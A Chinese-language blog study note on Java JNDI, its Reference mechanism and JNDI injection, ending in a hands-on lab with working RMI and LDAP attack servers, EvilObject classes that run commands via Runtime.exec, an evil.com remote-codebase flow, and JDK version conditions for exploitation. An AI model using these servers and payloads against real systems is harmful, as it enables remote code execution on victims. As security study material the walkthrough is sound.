JAVA JNDI學習

Erosion2020發表於2024-11-26

概述

臨時記錄以下JNDI注入的學習筆記,最近學的東西太多了,感覺知識要不進腦子了,學的東西並沒有完全理解,對原理還有應用的攻擊手法理解都不是很深......

推薦先理解JNDI的基本概念,然後再去學習JNDI的原理以及注入什麼的,要不然真的學起來非常難受......

我這裡是縫合了以下部落格來總結的內容,希望可以把基礎知識和JNDI攻擊結合起來,寫的更加適合小白一些......

JNDI學習總結(一)

JNDI學習總結(二)

mi1k7ea師傅: JNDI原理 + JNDI注入 + 高版本JDK繞過

oracle JNDI官方文件

什麼是JNDI?

JNDI(Java Naming and Directory Interface,Java命名和目錄介面)是J2EE規範中的核心部分之一。它為Java應用程式提供了一種命名和目錄服務的統一介面,允許程式設計師查詢和使用各種資源(如資料庫、遠端物件等)。許多專家認為,透徹理解JNDI的意義和作用,是掌握J2EE特別是EJB的關鍵。

那麼,JNDI究竟解決了什麼問題?我們可以透過對比“沒有JNDI”和“使用JNDI”的兩種方式,直觀瞭解其作用。

沒有JNDI時的開發方式

在傳統開發中,程式設計師需要直接透過JDBC驅動和資料庫連線字串訪問資料庫。以下是一個簡單的例子:

Connection conn = null;
try {
    Class.forName("com.mysql.jdbc.Driver");
    conn = DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");
    // 執行業務邏輯
    conn.close();
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (conn != null) {
        try {
            conn.close();
        } catch (SQLException e) {}
    }
}

問題分析

這種直接編碼的方式在小型專案中可行,但在複雜或長期維護的專案中會帶來以下問題:

  1. 配置耦合:資料庫伺服器地址、使用者名稱、密碼等硬編碼資訊需要頻繁修改。
  2. 靈活性不足:如果更換資料庫(如從MySQL切換到Oracle),需要修改驅動程式類名、連線字串等。
  3. 不利於擴充套件:系統執行時可能需要動態調整連線池引數,而直接編碼的方式難以適應。

使用JNDI的開發方式

透過JNDI,可以將這些配置從程式中抽離出來,由容器進行管理。開發人員只需透過名稱引用資源,而不必關心資源的具體配置。

配置示例

以JBoss為例,首先在容器中定義資料來源:

修改mysql-ds.xml檔案

<datasources>
    <local-tx-datasource>
        <jndi-name>MySqlDS</jndi-name>
        <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
        <driver-class>com.mysql.jdbc.Driver</driver-class>
        <user-name>root</user-name>
        <password>rootpassword</password>
    </local-tx-datasource>
</datasources>

Java程式碼引用資料來源

Connection conn = null;
try {
    Context ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup("java:MySqlDS");
    conn = ds.getConnection();
    // 執行業務邏輯
    conn.close();
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (conn != null) {
        try {
            conn.close();
        } catch (SQLException e) {}
    }
}

優勢分析

使用JNDI後:

  1. 程式不再依賴具體的資料庫配置資訊(如JDBC URL、使用者名稱、密碼)。
  2. 配置變更時,只需修改容器中的配置檔案,無需調整程式碼。
  3. 提升了系統的靈活性和可維護性,支援動態資源調整。

JNDI的核心角色

在J2EE中的作用

JNDI是J2EE規範的重要部分,其核心作用類似“交換機”,為應用程式動態查詢資源提供了統一機制。JNDI允許:

  • J2EE元件在執行時查詢其他元件或服務。
  • 容器集中管理資源配置,減少開發人員的工作量。
  • 跨環境快速切換(如開發環境和生產環境間的資料庫切換)。

JNDI的技術細節

  1. StateFactory與ObjectFactory
    • StateFactory負責儲存物件的狀態(類似於持久化操作)。
    • ObjectFactory負責從狀態資訊中恢復物件例項。
  2. SPI機制
    • 透過jndi.properties檔案配置服務提供者介面(SPI)。
    • 支援靈活擴充套件,按需載入適配不同的協議和實現。
  3. 容器資源管理
    • 從J2EE 1.3開始,資源管理職責從應用程式轉移到容器。
    • 應用程式透過<resource-ref>引用資源,容器負責解析和管理具體配置。

為什麼需要JNDI?

從現實場景中可以類比JNDI的作用:

  1. 想要聯絡某人時,首先撥打114查詢(Context ctx = new InitialContext();)。
  2. 獲取聯絡資訊後,透過該資訊找到目標資源(ctx.lookup("資源名稱");)。
  3. 成功建立聯絡後,開始與資源互動(如獲取資料庫連線並操作)。

這種解耦模式不僅提升了開發效率,還增強了系統的彈性和可維護性。

JNDI透過提供一個統一的命名和查詢介面,使J2EE應用程式中的資源訪問更加靈活和動態化。它不僅解耦了應用程式與具體資源的緊密關聯,還為大型企業應用程式的開發和部署提供了便利。

簡單來說,JNDI的本質就是給資源起個名字,程式透過名字找到資源。而這種間接定址方式,是J2EE規範實現靈活性和擴充套件性的核心基礎。

JNDI程式碼示例及相關概念

Java Naming:命名服務透過鍵值對的方式為物件建立唯一標識,使得應用程式可以透過名稱檢索這些物件。

Java Directory:目錄服務是命名服務的擴充套件,它不僅允許透過名稱檢索物件,還支援基於屬性的搜尋。

ObjectFactory:Object Factory允許將儲存在命名或目錄服務中的物件轉換為Java中的物件。例如,它能將RMI、LDAP等服務中的資料轉換為Java物件。

JNDI使得開發者能夠方便地訪問檔案系統中的檔案、定位遠端RMI物件、訪問LDAP等目錄服務,甚至定位EJB元件。

JNDI注入通常發生在應用程式允許使用者輸入並透過JNDI查詢物件時。攻擊者可能透過構造惡意JNDI查詢請求,誘使應用載入不安全的遠端物件,進而執行惡意程式碼。這類漏洞的關鍵在於JNDI能夠透過ObjectFactory下載並載入遠端類,攻擊者可以利用這一點執行任意程式碼。

jndiarch

程式碼示例

以下程式碼展示瞭如何使用JNDI的bindlookup方法進行物件的繫結與查詢。

定義Person

import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote, Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String password;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public String toString() {
        return "name:" + name + " password:" + password;
    }
}

服務端程式碼

import javax.naming.*;
import java.rmi.registry.LocateRegistry;

public class Server {
    public static void initPerson() throws Exception {
        LocateRegistry.createRegistry(6666);  // 建立RMI登錄檔
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
        InitialContext ctx = new InitialContext();
        // 例項化並繫結Person物件
        Person p = new Person();
        p.setName("mi1k7ea");
        p.setPassword("Niubility!");

        ctx.bind("person", p);  // 將person物件繫結到JNDI服務
        ctx.close();
    }
    public static void findPerson() throws Exception {
        InitialContext ctx = new InitialContext();
        Person person = (Person) ctx.lookup("person");  // 查詢並返回person物件
        System.out.println(person.toString());
        ctx.close();
    }
    public static void main(String[] args) throws Exception {
        initPerson();  // 初始化並繫結person物件
        findPerson();  // 查詢並輸出person物件
    }
}

在上面的程式碼中,initPerson()方法將Person物件透過JNDI繫結到rmi://localhost:6666上的JNDI登錄檔,客戶端則透過findPerson()方法查詢並輸出該物件。當然這裡是透過一個main函式來同時表示了客戶端和服務端。

image-20241126162150820

可以簡單比較一下純RMI寫法和使用JNDI檢索的寫法,在純RMI寫法中的兩種典型寫法:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
...
    
    //服務端
    IRemoteMath remoteMath = new RemoteMath();
    LocateRegistry.createRegistry(1099);    
    Registry registry = LocateRegistry.getRegistry();
    registry.bind("Compute", remoteMath);
...
    
    //客戶端
    Registry registry = LocateRegistry.getRegistry("localhost");        
    IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");

或

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
...

	//服務端
    PersonService personService=new PersonServiceImpl();
    LocateRegistry.createRegistry(6600);
    Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
...

	//客戶端
	PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");

而JNDI中相關程式碼:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
...
    
	//服務端
	LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();
	...
    ctx.bind("person", p);
    ctx.close();
...

	//客戶端
    InitialContext ctx = new InitialContext();
    Person person = (Person) ctx.lookup("person");
	ctx.close();

或

	//服務端
    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,
            "rmi://localhost:1099");
    Context ctx = new InitialContext(env);

相比之下(這段可以不看):

  • 服務端:純RMI實現中是呼叫java.rmi包內的bind()或rebind()方法來直接繫結RMI登錄檔埠的,而JNDI建立的RMI服務中多的部分就是需要設定INITIAL_CONTEXT_FACTORY和PROVIDER_URL來指定InitialContext的初始化Factory和Provider的URL地址,換句話說就是初始化配置JNDI設定時需要預先指定其上下文環境如指定為RMI服務,最後再呼叫javax.naming.InitialContext.bind()來將指定物件繫結到RMI登錄檔中;
  • 客戶端:純RMI實現中是呼叫java.rmi包內的lookup()方法來檢索繫結在RMI登錄檔中的物件,而JNDI實現的RMI客戶端查詢是呼叫javax.naming.InitialContext.lookup()方法來檢索的;

簡單地說,純RMI實現的方式主要是呼叫java.rmi這個包來實現繫結和檢索的,而JNDI實現的RMI服務則是呼叫javax.naming這個包即應用Java Naming來實現的。

Reference

Reference 類可以通俗地理解為一種“指路牌”或者“線索卡片”。它本身不是實際的物件,而是一個“指向”物件的描述資訊,用來告訴 JNDI 如何找到或重新建立這個物件。如果有學過引用概念的同學應該比較好理解,Reference就像是一個具體物件的引用。

使用Reference物件可以指定工廠來建立一個java物件,使用者可以指定遠端的物件工廠地址,當遠端物件地址使用者可控時,這也會帶來不小的問題。

不是直接存物件,而是存“怎麼找到這個物件”
Reference 更像是一本說明書,告訴 JNDI:

  • 這個物件的型別是什麼?
  • 這個物件在哪裡?
  • 需要什麼方法或工廠來建立這個物件?

類比場景
想象你有一輛車停在某個停車場,Reference 就像是你手上的停車票,上面寫了停車場的地址和車位號。當你需要車時,只需要根據停車票去找,而不需要真的隨時隨地把車帶在身邊。

幫助延遲載入物件
有些物件可能很大,或者需要透過某種特殊方式才能建立出來。直接儲存這些物件可能效率低下,或者不實際。因此,JNDI 使用 Reference 來儲存這些物件的“重建方法”,當需要的時候才真正生成物件。

Reference 類包含一些關鍵的資訊,幫助 JNDI 知道如何定位或建立物件:

  • 物件類名 [className]:告訴 JNDI,這個引用對應的物件是什麼型別(例如 javax.sql.DataSource)。
  • 工廠類名 [classFactory]:告訴 JNDI,這個引用需要哪個工廠類來幫助建立物件。
  • 地址(地址屬性)[classFactoryLocation]:可以是額外的線索資訊,比如實際的資料庫連線字串等。

為什麼需要 Reference

直接儲存和繫結物件當然是可以的,但在一些複雜場景下,這種方式有明顯缺點:

  1. 減少直接物件的儲存
    如果物件特別大,比如一個資料庫連線池,直接繫結可能會佔用大量記憶體,而 Reference 只儲存描述資訊,輕量且高效。
  2. 支援動態建立
    某些物件在繫結的時候可能還不存在,需要 JNDI 動態生成。例如,資料來源可以透過工廠類(如 ObjectFactory)動態建立,而不是直接繫結一個資料來源例項。
  3. 便於跨系統共享
    Reference 提供的是關於物件的資訊,而不是物件本身,這使得跨系統共享變得更容易。

舉個例子,假設我們要在 JNDI 中繫結一個資料庫連線池。

直接繫結物件
繫結一個具體的 DataSource 例項:

InitialContext context = new InitialContext();
DataSource ds = new BasicDataSource();  // 建立一個連線池例項
context.bind("jdbc/myDB", ds);          // 直接繫結

使用 Reference 繫結: 我們改用 Reference 來繫結:

import javax.naming.Reference;

InitialContext context = new InitialContext();

// 建立一個 Reference
Reference ref = new Reference(
    "javax.sql.DataSource",          // 物件的類名
    "com.example.MyDataSourceFactory", // 工廠類的名稱,用於建立物件
    null                              // 工廠類的地址(可選)
);

// 將 Reference 繫結到 JNDI
context.bind("jdbc/myDB", ref);

在使用時,JNDI 會透過 MyDataSourceFactory 動態建立 DataSource 物件。

遠端程式碼和安全管理器

引用原文連結:https://blog.csdn.net/u011721501/article/details/52316225

Java中的物件分為本地物件和遠端物件,本地物件是預設為可信任的,但是遠端物件是不受信任的。比如,當我們的系統從遠端伺服器載入一個物件,為了安全起見,JVM就要限制該物件的能力,比如禁止該物件訪問我們本地的檔案系統等,這些在現有的JVM中是依賴安全管理器(SecurityManager)來實現的。

jndi3

JVM中採用的最新模型見上圖,引入了“域”的概念,在不同的域中執行不同的許可權。JVM會把所有程式碼載入到不同的系統域和應用域,系統域專門負責與關鍵資源進行互動,而應用域則透過系統域的部分代理來對各種需要的資源進行訪問,存在於不同域的class檔案就具有了當前域的全部許可權。

關於安全管理機制,可以詳細閱讀:http://www.ibm.com/developerworks/cn/java/j-lo-javasecurity/

JNDI安全管理器架構

jndiarch

對於載入遠端物件,JDNI有兩種不同的安全控制方式,對於Naming Manager來說,相對的安全管理器的規則比較寬泛,但是對JNDI SPI層會按照下面表格中的規則進行控制:

jndi4

針對以上特性,攻擊者可能會找到一些特殊場景,利用兩者的差異來執行惡意程式碼。

JNDI注入

前提條件&JDK防禦

要想成功利用JNDI注入漏洞,重要的前提就是當前Java環境的JDK版本,而JNDI注入中不同的攻擊向量和利用方式所被限制的版本號都有點不一樣。

這裡將所有不同版本JDK的防禦都列出來:

  • JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的預設值被設定為true。當該值為true時,將禁用自動載入遠端類檔案,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑載入類檔案。使用這個屬性來防止客戶端VM從其他Codebase地址上動態載入類,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,預設為false,禁止RMI和CORBA協議使用遠端codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以透過指定URI為LDAP協議來進行JNDI注入攻擊。
  • JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,預設為false,禁止LDAP協議使用遠端codebase的選項,把LDAP協議的攻擊途徑也給禁了。

因此,我們在進行JNDI注入之前,必須知道當前環境JDK版本這一前提條件,只有JDK版本在可利用的範圍內才滿足我們進行JNDI注入的前提條件。

RMI表攻擊客戶端

將惡意的Reference類繫結在RMI登錄檔中,其中惡意引用指向遠端惡意的class檔案,當使用者在JNDI客戶端的lookup()函式引數外部可控或Reference類構造方法的classFactoryLocation引數外部可控時,會使使用者的JNDI客戶端訪問RMI登錄檔中繫結的惡意Reference類,從而載入遠端伺服器上的惡意class檔案在客戶端本地執行,最終實現JNDI注入攻擊導致遠端程式碼執行

jndi7

  1. 攻擊者透過可控的 URI 引數觸發動態環境轉換,例如這裡 URI 為 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文環境 rmi://localhost:1099 會因為動態環境轉換而被指向 rmi://evil.com:1099/
  3. 應用去 rmi://evil.com:1099 請求繫結物件 refObj,攻擊者事先準備好的 RMI 服務會返回與名稱 refObj想繫結的 ReferenceWrapper 物件(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 應用獲取到 ReferenceWrapper 物件開始從本地 CLASSPATH 中搜尋 EvilObject 類,如果不存在則會從 http://evil-cb.com/ 上去嘗試獲取 EvilObject.class,即動態的去獲取 http://evil-cb.com/EvilObject.class
  5. 攻擊者事先準備好的服務返回編譯好的包含惡意程式碼的 EvilObject.class
  6. 應用開始呼叫 EvilObject 類的建構函式,因攻擊者事先定義在建構函式,被包含在裡面的惡意程式碼被執行;

RMI攻擊實驗

  • JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 劫持的相關安全補丁影響)
  • python環境,沒有硬性版本要求,只是用來臨時搭建一個HTTP檔案伺服器
  • 任意支援 Java 的 IDE 或文字編輯器
  • 確保網路環境通暢,用於遠端載入 EvilObject.class 檔案。

建議如下檔案結構,分級更加清晰:

/JNDI-Injection-Lab/
    ├── client/                 # 存放 JNDIClient.java
    ├── server/                 # 存放 RMIService.java
    ├── malicious/              # 存放 EvilObject.java

client.JNDIClient.java

此程式碼模擬客戶端呼叫 lookup 方法,從指定的 RMI 服務中請求物件。

package client;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.out.println("Usage: java JNDIClient <uri>");
            System.exit(-1);
        }
        String uri = args[0];
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

編譯命令(我使用的是windows,所以這裡我以Windows寫法為準):

"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" JNDIClient.java

malicious.EvilObject.java

這是包含惡意程式碼的類,當載入時執行任意操作(此處為彈出計算器)。

package malicious;
public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"cmd", "/C", "calc.exe"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}
"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" EvilObject.java

server.RMIService.java

實現 RMI 服務端,將惡意物件引用繫結到 RMI 登錄檔中。

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
    public static void main(String[] args) throws Exception {
        // 啟動 RMI 登錄檔
        Registry registry = LocateRegistry.createRegistry(1099);

        // 建立 Reference 物件,指向惡意類檔案的位置
        Reference refObj = new Reference("malicious.EvilObject", "malicious.EvilObject", "http://127.0.0.1:8080/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

        // 繫結 ReferenceWrapper 到登錄檔
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

JNDI-Injection-Lab下使用以下命令編譯RMIService.java

"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" -cp .;"C:\Program Files\Java\jdk1.8.0_73\lib\tools.jar" server/RMIService.java

-cp-classpath

-cp 引數用於指定編譯時的類路徑(classpath)。它告訴 javac 去哪裡查詢所需的類或庫。

  • .:表示當前目錄。讓編譯器從當前目錄中查詢類或包。
  • C:\\xxxx\tools.jar:表示額外的依賴庫路徑。這裡假設 RMIService.java 依賴 tools.jar 中的類。

執行

啟動 HTTP 服務

使用python在 malicious/ 目錄下啟動 HTTP 服務,讓EvilObject.class透過HTTP暴露出去,可以使用以下命令來啟動一個臨時的HTTP服務:

cd malicious/
python -m http.server 8080

可以透過http://localhost:8080來訪問到對應的目錄即可,說明http環境就起來了

image-20241121213646238

啟動RMI服務端

JNDI-Injection-Lab 目錄下,執行 RMI 服務。

"C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . server.RMIService

啟動JNDI客戶端

JNDI-Injection-Lab 目錄下,執行客戶端,指定惡意的 RMI URI。

"C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . client.JNDIClient rmi://127.0.0.1:1099/refObj

彈出計算器,惡意程式碼被執行

image-20241121220547240

在這個場景中,客戶端透過 ctx.lookup(uri) 獲取服務端繫結的物件時,物件的程式碼在客戶端執行。這是因為 JNDI 和 RMI 機制會將繫結的物件(或其描述)從服務端傳遞到客戶端,並在客戶端嘗試載入和使用。注意哈,這個地方和原始的RMI還不一樣,讓我們來比較一下區別。

JNDI 的行為

  • JNDI 在客戶端建立物件:
    • 當客戶端透過 ctx.lookup(uri) 查詢一個物件時,JNDI 可能會返回一個遠端物件(如 RemoteReference),具體行為取決於繫結物件的型別。
    • 如果返回的是 Reference,JNDI 會嘗試根據 Reference 中描述的資訊(包括類名和程式碼位置)在客戶端載入並例項化物件。
    • 這個機制允許遠端程式碼在客戶端執行,因此容易被利用來實現遠端程式碼執行(RCE)。
  • JNDI 特點:
    • 它更像是“從服務端獲取一個類描述,客戶端負責載入和例項化”的機制。
    • 透過 Reference 載入的類在客戶端執行任何構造器邏輯,可能觸發惡意程式碼。

RMI 的行為

  • RMI 遠端方法呼叫:
    • RMI 的目標是讓客戶端呼叫服務端物件的方法,而不是在客戶端建立服務端物件的例項。
    • 當客戶端透過 Naming.lookup("rmi://...") 獲取一個遠端物件時,它實際獲取的是該遠端物件的代理(stub)
    • 客戶端呼叫的方法實際上是透過代理傳送到服務端,由服務端的遠端物件在服務端執行方法,然後返回結果給客戶端。
  • RMI 特點:
    • 方法呼叫總是在服務端執行,客戶端僅作為呼叫的發起者。
    • 客戶端不會載入遠端物件的類檔案,也不會在客戶端例項化服務端物件。

RMI&JNDI主要區別

特性 JNDI RMI
繫結物件 可以是 RemoteReference 等型別 必須是 Remote 型別的遠端物件
客戶端行為 可能載入並例項化服務端描述的類 獲取遠端物件的代理,呼叫代理方法
程式碼執行位置 類的構造方法在客戶端執行 方法邏輯在服務端執行
典型使用場景 資源查詢(如資料庫連線)等 遠端方法呼叫,分散式物件管理
安全風險 可能被用來載入和執行惡意類(RCE 漏洞) 需要明確定義遠端介面,但安全性更高(其實也很危險hhhhhh)

在RMI中呼叫了InitialContext.lookup()的類有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP中呼叫InitialContext.lookup()的類有:

InitialDirContext.lookup()
Spring's LdapTemplate.lookup()
LdapTemplate.lookupContext()

總結

其實在Mi1k7ea大佬的部落格中提到了多種攻擊方式,但是我覺得其最終原理都是基於修改RMI的登錄檔,最終使得客戶端從RMI的註冊中獲取到的是一段惡意程式碼,就這一點就可以概括利用方式了,就是如果我們能拿到RMI登錄檔修改許可權就能寫入惡意程式碼從而入侵客戶端。

LDAP攻擊

透過LDAP攻擊向量來利用JNDI注入的原理和RMI攻擊向量是一樣的,區別只是換了個媒介而已,下面就只列下LDAP+Reference的利用技巧,至於JNDI注入漏洞點和前面是一樣的就不再贅述了。

LDAP+Reference攻擊實驗

環境準備

  • JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 劫持的相關安全補丁影響)
  • 任意支援 Java 的 IDE 或文字編輯器

引入以下maven依賴項

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.11</version>
    <scope>test</scope>
</dependency>

程式碼結構如下:

/jndi-labs2/
    ├── EvilObject.java	# 惡意程式碼
    ├── LadpClient.java	# Ladp客戶端
    ├── LadpServer.java # Ladp服務端

我這裡就不本地javac,然後java再去這樣執行了,直接用IDEA進行除錯了,還是IDEA方便

EvilObject

package jndi_labs2;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilObject implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("cmd /c start");
        } catch (IOException ignore) {}
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

LadpServer

package jndi_labs2;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#jndi_labs2.EvilObject";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch ( Exception ignore ) { }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * 客戶端請求後會執行該方法
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch (Exception ignore) { }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LadpClient

package jndi_labs2;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/jndi_labs2.EvilObject");
            String data = "This is LDAP Client.";
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

先執行LadpServer,再執行LadpClient,結果如下,惡意程式碼被執行,彈出了cmd視窗。

image-20241126211652316

總結

JNDI注入攻擊的本質其實就是修改繫結的物件,當客戶端嘗試獲取物件時,讓客戶端獲取到我們構造的惡意物件即可。